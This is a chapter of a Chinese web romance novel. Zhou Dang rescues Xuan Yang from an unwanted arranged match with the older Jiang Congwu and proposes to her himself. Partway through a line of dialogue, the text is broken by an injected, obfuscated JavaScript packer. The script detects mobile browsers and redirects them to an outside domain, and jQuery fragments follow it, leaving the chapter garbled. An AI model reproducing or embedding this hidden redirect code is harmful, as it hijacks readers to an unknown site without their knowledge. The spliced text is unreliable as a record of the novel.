6.-006-

作品:《上上婚

    周家的菊展结束后,原本还有一个赏菊宴。


    周老太太邀请前来参展的各家名媛千金在万菊园后面的山庄里共进午餐,打算借机正式向众人介绍周荡。


    谁知周荡却提前离场,听说走之前他找谢星岚聊过几句。


    席间,与谢星岚同席的陈希,忍不住向她打听。


    “你肯定知道周荡去哪儿了吧,他走之前找你说什么了?”陈希问得理直气壮,丝毫不在意不久前她们才和谢星岚撕了一场。


    谢星岚本不想搭理她,但又想气她一气:“他说他去找宣漾,谈谈结婚的事。”


    陈希:“……”


    鬼才相信!


    不止陈希不信,在座就没有一个人会信。


    宣漾和周荡高中那会儿结了多少梁子,圈子里谁不知道?


    陈希轻哼一声:“不想说就别说,讲什么笑话,你是想笑掉我们的大牙吗?”


    江琳也附和地点点头:“以前宣漾仗着学校的职务,在周三少面前各种刷存在感,结果弄巧成拙。谁不知道三少看不惯她,和她不对付。”


    坐在陈希身边的宣杳虽然没有插话,但心里也是这样想的。


    想当初她有幸和周荡同班,不止一次撞见周荡故意找宣漾麻烦,说他要娶宣漾,怎么可能。


    谢星岚扬眉,似笑非笑:“不信就算了。”


    周荡确实没说去找宣漾,更没有提到结婚。


    但他向谢星岚打听宣漾和江琳她爸吃饭的地方,这还不能说明问题吗?


    直觉告诉谢星岚,周荡眼下肯定去找宣漾了。


    昨晚宣漾找他毛遂自荐,他肯定是心动了。


    毕竟那可是宣漾,京北第一名媛,全京城多少俊杰心里的理想另一半。


    说实话,谢星岚高中那会儿就挺怀疑,周荡一次次和宣漾杠上,也许根本不是为了报复和找麻烦,说不定是为了引起宣漾的注意呢。


    谢星岚喝了口饮料,打住了岔道的思绪,她想起什么,赶紧拿手机给宣漾发了条消息:[宝,周荡应该是去找你了,你要好好把握住机会啊!]


    -


    宣漾没看消息,她得打起十二万分精神应付江从武。


    本以为对方好歹年过半百的年纪,多少会讲点礼数,留点体面。


    没想到他竟直接上手,自顾自地与她亲近起来。


    这让宣漾忍不住地犯恶心。


    就在她打算和男人撕破脸时,周荡出现了。


    他就像一场及时雨,毫无征兆地落下来,将宣漾燥烦的内心淋得一片湿潮。


    她定住了。


    西装革履的周荡渐渐走近,深眸看着江从武搭在宣漾肩上的手,表情冷沉了些,“宣小姐不来参加我周家的菊展,倒是有闲心在这里陪长辈吃饭。”


    “怎么,我的面子不够大,请不动你?”


    宣漾滞了口气,没明白他是唱哪出。


    旁边的江从武却愣怔一下,若有所思地看了眼宣漾,也不是很懂周荡的来意。


    但听他话里的意思,是冲宣漾来的?


    没等江从武想明白,周荡已经走到他面前,抽手拽过宣漾,把人从江从武身边拉过去,十分狂傲地揽住,“不好意思啊江叔,我不知道宣家是怎么许诺你的,但宣漾是我的人。”


    “您老一把年纪了,别总想着老牛吃嫩草,挺不要脸的,说出去也不好听不是。”


    周荡的怀抱温暖安全,有股海盐薄荷的清爽冷冽,很独特。


    宣漾被他扣着肩膀揽着,神情诧异僵愣,一时不知该作何反应。


    尤其是周荡毫不避讳的宣誓主权,连她这个当事人都是一脸懵。


    明明从昨晚加了好友到现在,他一条消息都未曾给她发过。


    现在怎么突然就出现在这儿了?!


    宣漾心下愕然难消,余光只看见江从武那张方脸沉了又沉,黑如木炭。


    若是旁人对他说这番话,江从武必然是要发怒的,但偏偏是周荡。


    周家刚对外宣布了周荡作为下一任掌权人的消息,偌大京北商圈,哪家不敬他几分。


    纵使江从武论辈分算是长辈,眼下却也是只敢怒不敢言。


    那可是周家,与谈、顾两家三分天下的周家。


    缓了许久,江从武才缓和了脸色,朝宣漾看了眼,皮笑肉不笑:“真没看出来啊,你这么能耐。”


    话落,他又看向周荡:“你说宣漾是你的人,怎么在这之前没听人说过?”


    “莫非是你家里人不同意,觉得她上不得台面,见不得人。”


    宣漾知道宣家和周家的差距,如果京北的圈子里要分三六九等,那周家便是最上等,与中等偏下的宣家可谓天壤之别。


    她没想过真的能嫁入周家,只希望能抓住这次机会,彻底断了江从武的念想。


    宣漾暗吸一口气,在周荡怀里侧了个身,两只手毫无征兆地环上了男人窄紧有力的腰:“江伯伯有所不知,我们年轻人谈恋爱是这样的,讲究个你情我愿。”


    “只要阿荡愿意,我随时可以到他身边去,哪怕将来我们彼此都结了婚,我也不介意世俗的目光。”


    周荡僵住,只觉腰上的束缚像一条柔软的绸缎,连同他的心脏也被束紧了。


    至于宣漾刚才那些离经叛道,惊世骇俗的言论,他压根儿没注意听。


    只观察到对面江从武的脸色又暗沉几分,眼里平白添了几丝鄙夷。


    宣漾定定望过去,眼神温柔而坚定,仿佛刚才那番话是下定决心、发自肺腑的。


    但她耳朵其实烧得厉害。


    一想到今天以后,她在圈子里克己慎行、洁身自好的大家闺秀形象可能会毁于一旦,她就有些不安。


    刚才那番话,简单点说,就是告诉江从武,她和周荡早就暗度陈仓了,而且她为了周荡甚至可以不知廉耻。


    哪怕周荡后续迫于家里的压力不能娶她,而她也听从父母之命嫁入江家,将来保不准她也会红杏出墙,继续和周荡纠缠的。


    宣漾的目的,就是想恶心一下江从武,在他心里埋下一根刺。


    这样就算她和周荡最终没能谈妥,她也能暂时拖延和江家的联姻,多一些时间去寻找合适的联姻对象。


    江从武确实被膈应到了,这世上哪个男人会愿意娶一个随时可能给自己戴绿帽子的女人当老婆?


    即便宣漾漂亮得举世无双,他现在也觉得难以下咽。


    何况江从武本来就是看中了宣漾的温柔纯美,现在看来,她倒也没有表面都那么纯美干净。


    私下里指不定被周荡玩得多烂了。


    这样一想,江从武全然没了继续在这儿呆下去的欲望,冷着脸哼笑了一下,对宣漾道:“你还真是你爸妈养的好女儿,不知道他们要是听见了你刚才那番话,会怎么想。”


    这话里赤裸裸的怨愤和威胁,显然是要去宣家夫妇面前告状的意思。


    宣漾顾不上那么多了,垂眸,不由将周荡的腰身抱得更紧。


    周荡揽着她,微微低首就能闻到她头发上淡淡的栀子冷香,呼吸滞了滞。


    他看向打算离开的江从武,冷笑一声:“的确是好女儿啊,养父母一句话,就肯往火坑里跳,有这样的好女儿,宣伯父他们合该偷着乐才对。”


    “倒是江叔你啊,一把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16494351|184774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    年纪了还为老不尊,传出去也不怕影响江氏集团的声誉。”


    江从武:“……”


    说谁火坑呢!


    还拿江氏集团威胁他!


    江从武差点气结,最后脸色铁青地走了,憋了一肚子火。


    偌大餐厅里,顿时只剩下宣漾和周荡两人。


    她仍依偎在他怀里,两只手环在他腰上,下意识抓紧他的西服。


    几秒的静谧后,宣漾蓦地松开手,往后退开,与男人拉开了很远一段距离。


    她眼波未定,看向周荡时欲言又止。


    想问他的来意,却又有所顾忌。


    最终还是周荡先开了口,目光沉沉看着她,目测了一下他们之间瞬息拉开的距离,似笑非笑:“宣大小姐是懂过河拆桥的。”


    宣漾:“……”


    她想着或许应该道歉,毕竟刚才未经允许就擅自抱了他。


    谁知周荡却掠过这个话题:“你是软柿子做的,不知道反抗?”


    说话间,他拉开了餐椅,大马金刀地坐下,瞥向宣漾的眼神似有点生气。


    宣漾愣怔,不明所以。


    周荡拧眉:“结婚这种大事,你也能听凭别人摆布?那个姓江的,老得都能做你爸了。”


    他气宣漾对宣氏夫妇的妥协,气她跑来赴约,陪江从武吃饭。


    更气心里翻来覆去的那个假设。


    周荡:“要是我今天不来,你是不是真打算嫁给他?”


    宣漾忽然明白了他的意思,也明白了周荡无端冲她来的情绪。


    以前周荡就讨厌她的循规蹈矩和柔顺乖巧,说她就是一具没有思想的提线木偶。


    但她这次并没有要一味顺从的意思。


    宣漾张了张嘴,最终没有解释什么,只眼神黯然地看着他:“周荡,我没你那么多选择。”


    周荡要联姻,周家可以办菊展,邀请整个京北上流圈子里的名媛千金,供他挑选。


    但宣漾不行,她是宣家的养女,只能是供人选择的那一个。


    周荡痛了一下,眼底掠过心疼怜惜。


    只听宣漾平心静气补了一句:“我只能在有限的选择里权衡、争取。”


    周荡闭眼,还是见不得她无奈妥协的样子,“行,那从现在开始,你的选择多了一个。”


    他冷灰色的眼眸重新睁开,牢牢锁住她:“给你三秒钟,要不要我。”


    宣漾惊愣住,思绪一空。


    周荡修长好看的手指轻敲桌沿,开始倒数:“3——”


    宣漾心脏猛跳。


    周荡:“2——”


    宣漾张了张嘴。


    周荡拧眉,最后一声迟迟没有落下。


    宣漾终于说出口:“要!”


    男人沉冷的神色回暖,唇角扯开不易察觉的弧度:“说清楚,要谁?”


    宣漾:“……”


    她觉得那个回答有点羞耻。


    周荡瞥了眼她泛红的耳尖,心情更加愉悦:“要我还不过来,等什么呢。”


    宣漾:“……”


    踟蹰片刻,她才挪动。


    周荡把跟前的椅子拉开,让她坐下:“从现在开始,我们就算私定终身了。”


    刚落座的宣漾:“?”


    周荡:“我家和宣家那边我负责解决,你只需要配合我。”


    宣漾刚才就想说,就算周荡愿意和她联姻,那周家会同意吗?他在婚事上是否有绝对的话语权?


    “怎么配合?”宣漾问。


    周荡看着她脸上的紧张不安,撩唇一笑,“下午跟我回周家,见个家长先。”


    宣漾:“?”